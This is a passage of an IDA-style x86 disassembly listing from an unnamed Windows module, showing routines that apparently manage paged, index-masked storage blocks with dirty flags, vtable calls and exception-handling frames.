sub_69B51423	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51444	proc near		; CODE XREF: sub_69B515E4+28p
					; sub_69B515E4+DEp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		mov	edx, ecx
		and	dword ptr [edx], 0
		and	dword ptr [edx+8], 0
		shr	eax, 0Ah
		cmp	[esp+arg_4], 0
		mov	[edx+4], eax
		jz	short loc_69B5146C
		push	edi
		mov	ecx, 7D0h
		xor	eax, eax
		lea	edi, [edx+0Ch]
		rep stosd
		pop	edi


loc_69B5146C:				; CODE XREF: sub_69B51444+18j
		movzx	ecx, [esp+arg_4]
		lea	eax, [edx+1F50h]
		shl	ecx, 1
		xor	ecx, [eax]
		push	0
		add	edx, 1F4Ch
		and	ecx, 2
		xor	[eax], ecx
		push	edx
		call	sub_69B17320
		retn	8
sub_69B51444	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51491	proc near		; DATA XREF: .text:69B21C04o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B514AC
		test	[esp+4+arg_0], 1
		jz	short loc_69B514A6
		push	esi
		call	sub_69B1829F


loc_69B514A6:				; CODE XREF: sub_69B51491+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B51491	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B514AC	proc near		; CODE XREF: sub_69B51491+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+1Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+8]
		push	eax
		call	sub_69B2DEDD
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B514AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B514F6	proc near		; CODE XREF: sub_69B3F250+38p
		push	4Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B51508
		mov	ecx, eax
		jmp	sub_69B21A88
; ---------------------------------------------------------------------------


loc_69B51508:				; CODE XREF: sub_69B514F6+9j
		xor	eax, eax
		retn	0Ch
sub_69B514F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5150D	proc near		; CODE XREF: sub_69B5155E+32p

arg_0		= byte ptr  4

		push	ebx
		mov	bl, [esp+4+arg_0]
		test	bl, 2
		push	esi
		mov	esi, ecx
		jz	short loc_69B51540
		push	edi
		push	offset loc_69B51416
		lea	edi, [esi-4]
		push	dword ptr [edi]
		push	1F54h
		push	esi
		call	sub_69B51181
		test	bl, 1
		jz	short loc_69B5153B
		push	edi
		call	sub_69B1B2B7


loc_69B5153B:				; CODE XREF: sub_69B5150D+26j
		mov	eax, edi
		pop	edi
		jmp	short loc_69B51559
; ---------------------------------------------------------------------------


loc_69B51540:				; CODE XREF: sub_69B5150D+Bj
		lea	eax, [esi+1F4Ch]
		push	eax
		call	sub_69B17230
		test	bl, 1
		jz	short loc_69B51557
		push	esi
		call	sub_69B1B2B7


loc_69B51557:				; CODE XREF: sub_69B5150D+42j
		mov	eax, esi


loc_69B51559:				; CODE XREF: sub_69B5150D+31j
		pop	esi
		pop	ebx
		retn	4
sub_69B5150D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5155E	proc near		; CODE XREF: sub_69B516E4+3p
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+8]
		xor	ebx, ebx
		cmp	[edi], ebx
		jz	short loc_69B51587
		push	ebx
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17320
		push	ebx
		push	edi
		call	sub_69B2DEB2
		push	ebx
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320


loc_69B51587:				; CODE XREF: sub_69B5155E+Cj
		mov	ecx, [esi+3Ch]
		cmp	ecx, ebx
		jz	short loc_69B51595
		push	3
		call	sub_69B5150D


loc_69B51595:				; CODE XREF: sub_69B5155E+2Ej
		lea	edi, [esi+20h]
		mov	eax, [edi]
		cmp	eax, ebx
		mov	[esi+3Ch], ebx
		jz	short loc_69B515BE
		mov	ecx, [eax]
		push	ebx
		push	dword ptr [esi+24h]
		push	eax
		call	dword ptr [ecx+18h]
		mov	eax, [edi]
		mov	ecx, [eax]
		push	ebx
		push	dword ptr [esi+28h]
		push	eax
		call	dword ptr [ecx+18h]
		push	ebx
		push	edi
		call	sub_69B17320


loc_69B515BE:				; CODE XREF: sub_69B5155E+41j
		lea	edi, [esi+14h]
		cmp	[edi], ebx
		jz	short loc_69B515E0
		push	ebx
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17320
		push	ebx
		add	esi, 1Ch
		push	esi
		call	sub_69B17320
		push	ebx
		push	edi
		call	sub_69B17320


loc_69B515E0:				; CODE XREF: sub_69B5155E+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B5155E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B515E4	proc near		; CODE XREF: sub_69B516F4+47p
		push	18h
		push	offset dword_69B516D8
		call	sub_69B19C5C
		mov	esi, ecx
		mov	[ebp-1Ch], esi
		xor	edi, edi
		mov	[ebp-20h], edi
		lea	eax, [ebp-20h]
		mov	[ebp-24h], eax
		mov	[ebp-4], edi
		push	edi
		push	dword ptr [ebp+8]
		mov	ebx, [ebp+0Ch]
		mov	ecx, ebx
		call	sub_69B51444
		mov	eax, [esi+18h]
		mov	ecx, [eax]
		push	10h
		push	edi
		push	edi
		push	ebx
		push	1
		push	dword ptr [esi+28h]
		push	eax
		call	dword ptr [ecx+14h]
		push	eax
		call	sub_69B8861E
		mov	eax, [esi+14h]
		mov	ecx, [eax]
		lea	edx, [ebp-24h]
		push	edx
		lea	edx, [ebp-28h]
		push	edx
		push	1
		push	edi
		push	edi
		push	eax
		call	dword ptr [ecx+14h]
		push	eax
		call	sub_69B8861E
		mov	eax, [esi+14h]
		mov	ecx, [eax]
		push	ebx
		push	dword ptr [esi+24h]
		push	dword ptr [ebp-20h]
		push	eax
		call	dword ptr [ecx+10h]
		push	eax
		call	sub_69B8861E
		push	dword ptr [ebp+8]
		mov	ecx, ebx
		call	sub_69B51132
		test	al, al
		jnz	short loc_69B51673
		push	80004005h
		call	sub_69B2E8B8


loc_69B51673:				; CODE XREF: sub_69B515E4+83j
		mov	esi, [esi+14h]
		mov	eax, [esi]
		push	edi
		push	edi
		push	edi
		lea	ecx, [ebp-20h]
		push	ecx
		push	1
		push	esi
		call	dword ptr [eax+18h]
		push	eax
		call	sub_69B8861E
		mov	[ebp-20h], edi
		jmp	short loc_69B516CC
; ---------------------------------------------------------------------------


loc_69B51690:				; DATA XREF: .text:69B516DCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B51699:				; DATA XREF: .text:69B516E0o
		mov	esp, [ebp-18h]
		xor	edi, edi
		cmp	[ebp-20h], edi
		jz	short loc_69B516B8
		mov	eax, [ebp-1Ch]
		mov	eax, [eax+14h]
		mov	ecx, [eax]
		push	edi
		push	edi
		push	edi
		lea	edx, [ebp-20h]
		push	edx
		push	1
		push	eax
		call	dword ptr [ecx+18h]


loc_69B516B8:				; CODE XREF: sub_69B515E4+BDj
		push	1
		push	ecx
		mov	eax, esp
		mov	[eax], edi
		mov	ecx, [ebp+0Ch]
		call	sub_69B51444
		call	sub_69B2E860


loc_69B516CC:				; CODE XREF: sub_69B515E4+AAj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B1853C
		retn	8
sub_69B515E4	endp

; ---------------------------------------------------------------------------
dword_69B516D8	dd 0FFFFFFFFh			dd offset loc_69B51690
		dd offset loc_69B51699

; =============== S U B	R O U T	I N E =======================================



sub_69B516E4	proc near		; DATA XREF: .text:69B21C2Co
		push	esi
		mov	esi, ecx
		call	sub_69B5155E
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B516E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B516F4	proc near		; CODE XREF: sub_69B517AA+46p
					; sub_69B51835+32p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		mov	esi, ecx
		call	sub_69B511AB
		mov	ebx, eax
		test	ebx, ebx
		jge	short loc_69B51742
		mov	edi, [esi+38h]
		test	byte ptr [edi+1F50h], 1
		push	2
		pop	ebx
		jz	short loc_69B51721
		push	edi
		mov	ecx, esi
		call	sub_69B51423


loc_69B51721:				; CODE XREF: sub_69B516F4+23j
		cmp	[ebp+arg_4], 0
		jz	short loc_69B51735
		push	1
		push	[ebp+arg_0]
		mov	ecx, edi
		call	sub_69B51444
		jmp	short loc_69B5174A
; ---------------------------------------------------------------------------


loc_69B51735:				; CODE XREF: sub_69B516F4+31j
		push	edi
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_69B515E4
		jmp	short loc_69B5174A
; ---------------------------------------------------------------------------


loc_69B51742:				; CODE XREF: sub_69B516F4+14j
		test	ebx, ebx
		mov	edi, [esi+ebx*4+30h]
		jz	short loc_69B51763


loc_69B5174A:				; CODE XREF: sub_69B516F4+3Fj
					; sub_69B516F4+4Cj
		mov	ecx, ebx
		shl	ecx, 2
		push	ecx
		lea	eax, [esi+30h]
		push	eax
		lea	eax, [esi+34h]
		push	eax
		call	sub_69B22103
		add	esp, 0Ch
		mov	[esi+30h], edi


loc_69B51763:				; CODE XREF: sub_69B516F4+54j
		cmp	[ebp+arg_8], 0
		jz	short loc_69B517A1
		lea	ebx, [edi+1F4Ch]
		cmp	dword ptr [ebx], 0
		jnz	short loc_69B517A1
		mov	eax, [ebp+arg_0]
		mov	ecx, [esi+0Ch]
		shr	eax, 0Ah
		mov	[ecx+8], eax
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		push	eax
		call	sub_69B1980A
		test	eax, eax
		jnz	short loc_69B5179A
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_69B51279


loc_69B5179A:				; CODE XREF: sub_69B516F4+9Aj
		push	eax
		push	ebx
		call	sub_69B17320


loc_69B517A1:				; CODE XREF: sub_69B516F4+73j
					; sub_69B516F4+7Ej
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_69B516F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B517AA	proc near		; CODE XREF: sub_69B15248+3Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+40h]
		lea	eax, [ecx+1]
		xor	eax, ecx
		push	edi
		mov	edi, 3FFh
		and	eax, edi
		xor	eax, ecx
		mov	[esi+40h], eax
		and	eax, edi
		cmp	eax, 190h
		jnz	short loc_69B517E2
		inc	dword ptr [esi+48h]
		mov	eax, [esi+48h]
		shl	eax, 0Ah
		mov	[esi+40h], eax
		mov	byte ptr [ebp+var_4], 1
		jmp	short loc_69B517E6
; ---------------------------------------------------------------------------


loc_69B517E2:				; CODE XREF: sub_69B517AA+24j
		mov	byte ptr [ebp+var_4], 0


loc_69B517E6:				; CODE XREF: sub_69B517AA+36j
		push	1
		push	[ebp+var_4]
		mov	ecx, esi
		push	dword ptr [esi+40h]
		call	sub_69B516F4
		or	dword ptr [eax+1F50h], 1
		mov	edx, [esi+40h]
		mov	ecx, [eax+1F4Ch]
		and	edx, edi
		lea	edx, [edx+edx*4]
		lea	edx, [eax+edx*4+0Ch]
		mov	eax, [ebp+arg_0]
		mov	ebx, [eax+8]
		mov	[edx], ebx
		mov	ebx, [eax+14h]
		mov	[edx+4], ebx
		mov	edx, [esi+40h]
		push	eax
		mov	[eax+18h], edx
		mov	eax, [esi+40h]
		and	eax, edi
		push	eax
		call	sub_69B511CF
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B517AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51835	proc near		; CODE XREF: sub_69B59E5E+Ap
		push	78h
		push	offset dword_69B519C8
		call	sub_69B19C5C
		mov	esi, ecx
		mov	[ebp-1Ch], esi
		xor	eax, eax
		mov	[ebp-20h], eax
		mov	[ebp-24h], eax
		mov	ecx, [ebp+8]
		mov	ebx, [ecx+18h]
		mov	[ebp-28h], ebx
		cmp	ebx, eax
		jz	loc_69B519C0
		mov	[ebp-4], eax
		push	eax
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_69B516F4
		mov	edi, eax
		mov	[ebp-20h], edi
		mov	eax, [edi+1F4Ch]
		mov	[ebp-2Ch], eax
		mov	[ebp-24h], eax
		test	eax, eax
		jnz	short loc_69B518A7
		mov	ecx, [esi+0Ch]
		mov	[ebp-30h], ecx
		mov	eax, ebx
		shr	eax, 0Ah
		mov	[ebp-34h], eax
		mov	[ecx+8], eax
		mov	eax, [esi+0Ch]
		mov	[ebp-38h], eax
		mov	ecx, [esi+10h]
		mov	[ebp-3Ch], ecx
		push	eax
		call	sub_69B1980A
		mov	[ebp-24h], eax


loc_69B518A7:				; CODE XREF: sub_69B51835+4Aj
		mov	ecx, [ebp+8]
		mov	eax, [ecx+14h]
		mov	[ebp-40h], eax
		mov	[ebp-44h], eax
		mov	eax, [ecx+8]
		mov	[ebp-48h], eax
		mov	ecx, ebx
		and	ecx, 3FFh
		lea	ecx, [ecx+ecx*4]
		lea	ecx, [edi+ecx*4+0Ch]
		mov	[ebp-4Ch], ecx
		mov	edx, [ecx]
		mov	[ebp-50h], edx
		cmp	eax, edx
		jz	short loc_69B518E0
		mov	[ebp-54h], eax
		mov	[ecx], eax
		or	dword ptr [edi+1F50h], 1


loc_69B518E0:				; CODE XREF: sub_69B51835+9Dj
		mov	edx, [ecx+4]
		mov	[ebp-58h], edx
		mov	eax, [ebp-40h]
		cmp	eax, edx
		jz	short loc_69B518F7
		mov	[ecx+4], eax
		or	dword ptr [edi+1F50h], 1


loc_69B518F7:				; CODE XREF: sub_69B51835+B6j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B51916
; ---------------------------------------------------------------------------


loc_69B518FD:				; DATA XREF: .text:69B519CCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B51906:				; DATA XREF: .text:69B519D0o
		mov	esp, [ebp-18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-1Ch]
		mov	edi, [ebp-20h]
		mov	ebx, [ebp-28h]


loc_69B51916:				; CODE XREF: sub_69B51835+C6j
		mov	eax, [ebp-24h]
		mov	dword ptr [ebp-4], 1
		test	eax, eax
		jnz	short loc_69B5194E
		mov	ecx, [esi+0Ch]
		mov	[ebp-5Ch], ecx
		mov	eax, ebx
		shr	eax, 0Ah
		mov	[ebp-60h], eax
		mov	[ecx+8], eax
		mov	eax, [esi+0Ch]
		mov	[ebp-64h], eax
		mov	ecx, [esi+10h]
		mov	[ebp-68h], ecx
		push	eax
		call	sub_69B1980A
		mov	[ebp-24h], eax
		test	eax, eax
		jz	short loc_69B519BC


loc_69B5194E:				; CODE XREF: sub_69B51835+EDj
		and	dword ptr [ebp-6Ch], 0
		mov	ecx, ebx
		and	ecx, 3FFh
		mov	[ebp-70h], ecx
		dec	dword ptr [eax+8]
		mov	dword ptr [eax+ecx*4+0Ch], 0
		mov	eax, [eax+8]
		mov	[ebp-74h], eax
		jnz	short loc_69B519BC
		mov	eax, [esi+0Ch]
		mov	[ebp-78h], eax
		shr	ebx, 0Ah
		mov	[ebp-7Ch], ebx
		mov	[eax+8], ebx
		mov	eax, [esi+0Ch]
		mov	[ebp-80h], eax
		mov	esi, [esi+10h]
		mov	[ebp-84h], esi
		push	eax
		mov	ecx, esi
		call	sub_69B17DC6
		test	edi, edi
		jz	short loc_69B519BC
		add	edi, 1F4Ch
		mov	[ebp-88h], edi
		push	0
		push	edi
		call	sub_69B17320
		jmp	short loc_69B519BC
; ---------------------------------------------------------------------------


loc_69B519B0:				; DATA XREF: .text:69B519D8o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B519B9:				; DATA XREF: .text:69B519DCo
		mov	esp, [ebp-18h]


loc_69B519BC:				; CODE XREF: sub_69B51835+117j
					; sub_69B51835+139j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B519C0:				; CODE XREF: sub_69B51835+24j
		call	sub_69B1853C
		retn	4
sub_69B51835	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_69B519C8	dd 0FFFFFFFFh			dd offset loc_69B518FD
		dd offset loc_69B51906
		dd 0FFFFFFFFh
		dd offset loc_69B519B0
		dd offset loc_69B519B9

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B519E0	proc near		; CODE XREF: sub_69B3EA42+89p
					; sub_69B3EB79+1Cp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		mov	esi, ecx
		jnz	short loc_69B519FA
		xor	eax, eax
		jmp	loc_69B51AD2
; ---------------------------------------------------------------------------


loc_69B519FA:				; CODE XREF: sub_69B519E0+11j
		push	ebx
		mov	ecx, esi
		call	sub_69B511AB
		cmp	eax, edi
		jl	short loc_69B51A15
		mov	eax, [esi+eax*4+30h]
		mov	eax, [eax+1F4Ch]
		mov	[ebp+var_4], eax
		jmp	short loc_69B51A18
; ---------------------------------------------------------------------------


loc_69B51A15:				; CODE XREF: sub_69B519E0+24j
		mov	[ebp+var_4], edi


loc_69B51A18:				; CODE XREF: sub_69B519E0+33j
		cmp	[ebp+var_4], edi
		jnz	short loc_69B51A3B
		mov	ecx, [esi+0Ch]
		mov	eax, ebx
		shr	eax, 0Ah
		mov	[ecx+8], eax
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		push	eax
		call	sub_69B1980A
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_69B51A4B


loc_69B51A3B:				; CODE XREF: sub_69B519E0+3Bj
		mov	ecx, [ebp+var_4]
		mov	eax, ebx
		and	eax, 3FFh
		mov	edi, [ecx+eax*4+0Ch]
		jmp	short loc_69B51A56
; ---------------------------------------------------------------------------


loc_69B51A4B:				; CODE XREF: sub_69B519E0+59j
		push	ebx
		mov	ecx, esi
		call	sub_69B51279
		mov	[ebp+var_4], eax


loc_69B51A56:				; CODE XREF: sub_69B519E0+69j
		test	edi, edi
		jnz	short loc_69B51AD0
		push	edi
		push	edi
		push	ebx
		mov	ecx, esi
		call	sub_69B516F4
		mov	edi, eax
		lea	eax, [edi+1F4Ch]
		cmp	dword ptr [eax], 0
		jnz	short loc_69B51A7A
		push	[ebp+var_4]
		push	eax
		call	sub_69B17320


loc_69B51A7A:				; CODE XREF: sub_69B519E0+8Fj
		and	ebx, 3FFh
		lea	eax, [ebx+ebx*4]
		lea	edi, [edi+eax*4+0Ch]
		mov	eax, [esi+8]
		mov	eax, [eax+50h]
		mov	ecx, [edi]
		push	eax
		push	20h
		mov	[ebp+var_8], ecx
		call	sub_69B1DAA0
		test	eax, eax
		jz	short loc_69B51ABE
		push	[ebp+arg_0]
		mov	esi, [esi+8]
		mov	ecx, [ebp+var_8]
		mov	edi, [edi+4]
		push	esi
		shr	ecx, 18h
		and	ecx, 1Fh
		push	edi
		push	ecx
		mov	ecx, eax
		call	sub_69B15248
		mov	edi, eax
		jmp	short loc_69B51AC0
; ---------------------------------------------------------------------------


loc_69B51ABE:				; CODE XREF: sub_69B519E0+BCj
		xor	edi, edi


loc_69B51AC0:				; CODE XREF: sub_69B519E0+DCj
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		push	edi
		push	ebx
		mov	[edi+8], eax
		call	sub_69B511CF


loc_69B51AD0:				; CODE XREF: sub_69B519E0+78j
		mov	eax, edi


loc_69B51AD2:				; CODE XREF: sub_69B519E0+15j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B519E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B51AD9	proc near		; CODE XREF: sub_69B51DC6+27p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+8]
		push	ebx
		push	esi
		lea	edx, [eax+eax+4]
		push	edi
		lea	esi, [ecx+44h]
		mov	edi, [esi]
		mov	[ebp+var_14], eax
		and	edi, 3FFh
		mov	eax, 3E8h
		sub	eax, edi
		shl	eax, 3
		cmp	edx, eax
		mov	[ebp+var_10], ecx
		mov	[ebp+var_4], edx
		mov	[ebp+var_8], eax
		jle	short loc_69B51B30
		cmp	eax, 100h
		jge	short loc_69B51B30
		inc	dword ptr [ecx+48h]
		mov	eax, [ecx+48h]
		shl	eax, 0Ah
		mov	[esi], eax
		mov	[ebp+var_8], 1F40h
		mov	byte ptr [ebp+var_C], 1
		jmp	short loc_69B51B34
; ---------------------------------------------------------------------------


loc_69B51B30:				; CODE XREF: sub_69B51AD9+36j
					; sub_69B51AD9+3Dj
		mov	byte ptr [ebp+var_C], 0


loc_69B51B34:				; CODE XREF: sub_69B51AD9+55j
		mov	eax, [esi]
		push	0
		push	[ebp+var_C]
		mov	[ebp+var_18], eax
		push	eax
		call	sub_69B516F4
		mov	edi, eax
		or	dword ptr [edi+1F50h], 1
		mov	ebx, [esi]
		push	4
		lea	eax, [ebp+var_14]
		and	ebx, 3FFh
		push	eax
		shl	ebx, 3
		push	ebx
		mov	ecx, edi
		call	sub_69B5120D
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+0Ch]
		sub	[ebp+var_4], 4
		sub	[ebp+var_8], 4
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+var_4]
		add	ebx, 4
		cmp	eax, [ebp+var_8]
		jle	short loc_69B51BDF


loc_69B51B82:				; CODE XREF: sub_69B51AD9+104j
		mov	eax, [ebp+var_8]
		add	eax, 0FFFFFFFCh
		push	eax
		push	[ebp+arg_4]
		mov	ecx, edi
		push	ebx
		call	sub_69B5120D
		sub	[ebp+var_4], eax
		add	[ebp+arg_4], eax
		mov	ecx, [ebp+var_10]
		inc	dword ptr [ecx+48h]
		mov	ecx, [ecx+48h]
		push	4
		shl	ecx, 0Ah
		push	esi
		add	eax, ebx
		mov	[esi], ecx
		push	eax
		mov	ecx, edi
		call	sub_69B5120D
		mov	ecx, [ebp+var_10]
		push	edi
		call	sub_69B51423
		push	1
		push	dword ptr [esi]
		mov	ecx, edi
		call	sub_69B51444
		or	dword ptr [edi+1F50h], 1
		mov	eax, 1F40h
		xor	ebx, ebx
		cmp	[ebp+var_4], eax
		mov	[ebp+var_8], eax
		jg	short loc_69B51B82


loc_69B51BDF:				; CODE XREF: sub_69B51AD9+A7j
		cmp	[ebp+var_4], 0
		jz	short loc_69B51BFA
		push	[ebp+var_4]
		mov	ecx, edi
		push	[ebp+arg_4]
		push	ebx
		call	sub_69B5120D
		or	dword ptr [edi+1F50h], 1


loc_69B51BFA:				; CODE XREF: sub_69B51AD9+10Aj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_18]
		lea	eax, [ebx+eax+7]
		shr	eax, 3
		xor	eax, [esi]
		pop	edi
		and	eax, 3FFh
		xor	[esi], eax
		mov	eax, [ebp+arg_0]
		pop	esi
		mov	[eax], ecx
		pop	ebx
		leave
		retn	8
sub_69B51AD9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51C1C	proc near		; CODE XREF: sub_69B51C4D+9p
					; sub_69B51C69+9p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, [eax+18h]
		push	1
		push	0
		push	esi
		call	sub_69B516F4
		cmp	[esp+4+arg_4], 0
		jz	short loc_69B51C3C
		or	dword ptr [eax+1F50h], 1


loc_69B51C3C:				; CODE XREF: sub_69B51C1C+17j
		and	esi, 3FFh
		lea	ecx, [esi+esi*4]
		lea	eax, [eax+ecx*4+0Ch]
		pop	esi
		retn	8
sub_69B51C1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51C4D	proc near		; CODE XREF: sub_69B59D29+6p

arg_0		= dword	ptr  4

		push	esi
		push	0
		push	[esp+8+arg_0]
		mov	esi, ecx
		call	sub_69B51C1C
		push	dword ptr [eax+8]
		mov	ecx, esi
		call	sub_69B519E0
		pop	esi
		retn	4
sub_69B51C4D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51C69	proc near		; CODE XREF: sub_69B59D45+6p

arg_0		= dword	ptr  4

		push	esi
		push	0
		push	[esp+8+arg_0]
		mov	esi, ecx
		call	sub_69B51C1C
		push	dword ptr [eax+0Ch]
		mov	ecx, esi
		call	sub_69B519E0
		pop	esi
		retn	4
sub_69B51C69	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51C85	proc near		; CODE XREF: sub_69B59D61+7p

arg_0		= dword	ptr  4

		push	esi
		push	0
		push	[esp+8+arg_0]
		mov	esi, ecx
		call	sub_69B51C1C
		mov	ecx, [eax]
		shr	ecx, 16h
		test	cl, 1
		jnz	short loc_69B51CA9
		push	dword ptr [eax+10h]
		mov	ecx, esi
		call	sub_69B519E0
		jmp	short loc_69B51CAB
; ---------------------------------------------------------------------------


loc_69B51CA9:				; CODE XREF: sub_69B51C85+16j
		xor	eax, eax


loc_69B51CAB:				; CODE XREF: sub_69B51C85+22j
		pop	esi
		retn	4
sub_69B51C85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B51CAF	proc near		; CODE XREF: sub_69B59D9A+13p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	ebx
		push	[ebp+arg_0]
		mov	[ebp+var_4], ecx
		call	sub_69B51C1C
		mov	ecx, [eax]
		shr	ecx, 16h
		test	cl, 1
		jz	loc_69B51D5A
		mov	esi, [eax+10h]
		cmp	esi, ebx
		jz	short loc_69B51D53
		mov	ecx, [ebp+var_4]
		push	edi
		push	ebx
		push	ebx
		push	esi
		call	sub_69B516F4
		mov	ecx, eax
		push	4
		lea	eax, [ebp+arg_0]
		and	esi, 3FFh
		shl	esi, 3
		push	eax
		push	esi
		mov	[ebp+var_10], ecx
		mov	[ebp+var_C], esi
		call	sub_69B51243
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		push	eax
		push	ebx
		lea	edi, [eax+eax]
		call	sub_69B190D7
		mov	esi, [eax+0Ch]
		mov	ecx, [ebp+var_C]
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_8]
		push	edi
		add	eax, ecx
		mov	ecx, [ebp+var_10]
		push	esi
		push	eax
		jmp	short loc_69B51D41
; ---------------------------------------------------------------------------


loc_69B51D29:				; CODE XREF: sub_69B51CAF+99j
		mov	ecx, [ebp+var_4]
		push	ebx
		lea	esi, [esi+eax-4]
		push	ebx
		push	dword ptr [esi]
		add	edi, 4
		call	sub_69B516F4
		push	edi
		push	esi
		push	ebx
		mov	ecx, eax


loc_69B51D41:				; CODE XREF: sub_69B51CAF+78j
		call	sub_69B51243
		sub	edi, eax
		jnz	short loc_69B51D29
		mov	[esi+eax], bl
		mov	eax, [ebp+arg_0]
		pop	edi
		jmp	short loc_69B51D5C
; ---------------------------------------------------------------------------


loc_69B51D53:				; CODE XREF: sub_69B51CAF+29j
		mov	eax, offset off_69B1A5AC
		jmp	short loc_69B51D5C
; ---------------------------------------------------------------------------


loc_69B51D5A:				; CODE XREF: sub_69B51CAF+1Ej
		xor	eax, eax


loc_69B51D5C:				; CODE XREF: sub_69B51CAF+A2j
					; sub_69B51CAF+A9j
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B51CAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51D62	proc near		; CODE XREF: sub_69B59D35+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	1
		push	[esp+4+arg_0]
		call	sub_69B51C1C
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jz	short loc_69B51D7A
		mov	ecx, [ecx+18h]
		jmp	short loc_69B51D7C
; ---------------------------------------------------------------------------


loc_69B51D7A:				; CODE XREF: sub_69B51D62+11j
		xor	ecx, ecx


loc_69B51D7C:				; CODE XREF: sub_69B51D62+16j
		mov	[eax+8], ecx
		retn	8
sub_69B51D62	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51D82	proc near		; CODE XREF: sub_69B59D51+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	1
		push	[esp+4+arg_0]
		call	sub_69B51C1C
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jz	short loc_69B51D9A
		mov	ecx, [ecx+18h]
		jmp	short loc_69B51D9C
; ---------------------------------------------------------------------------


loc_69B51D9A:				; CODE XREF: sub_69B51D82+11j
		xor	ecx, ecx


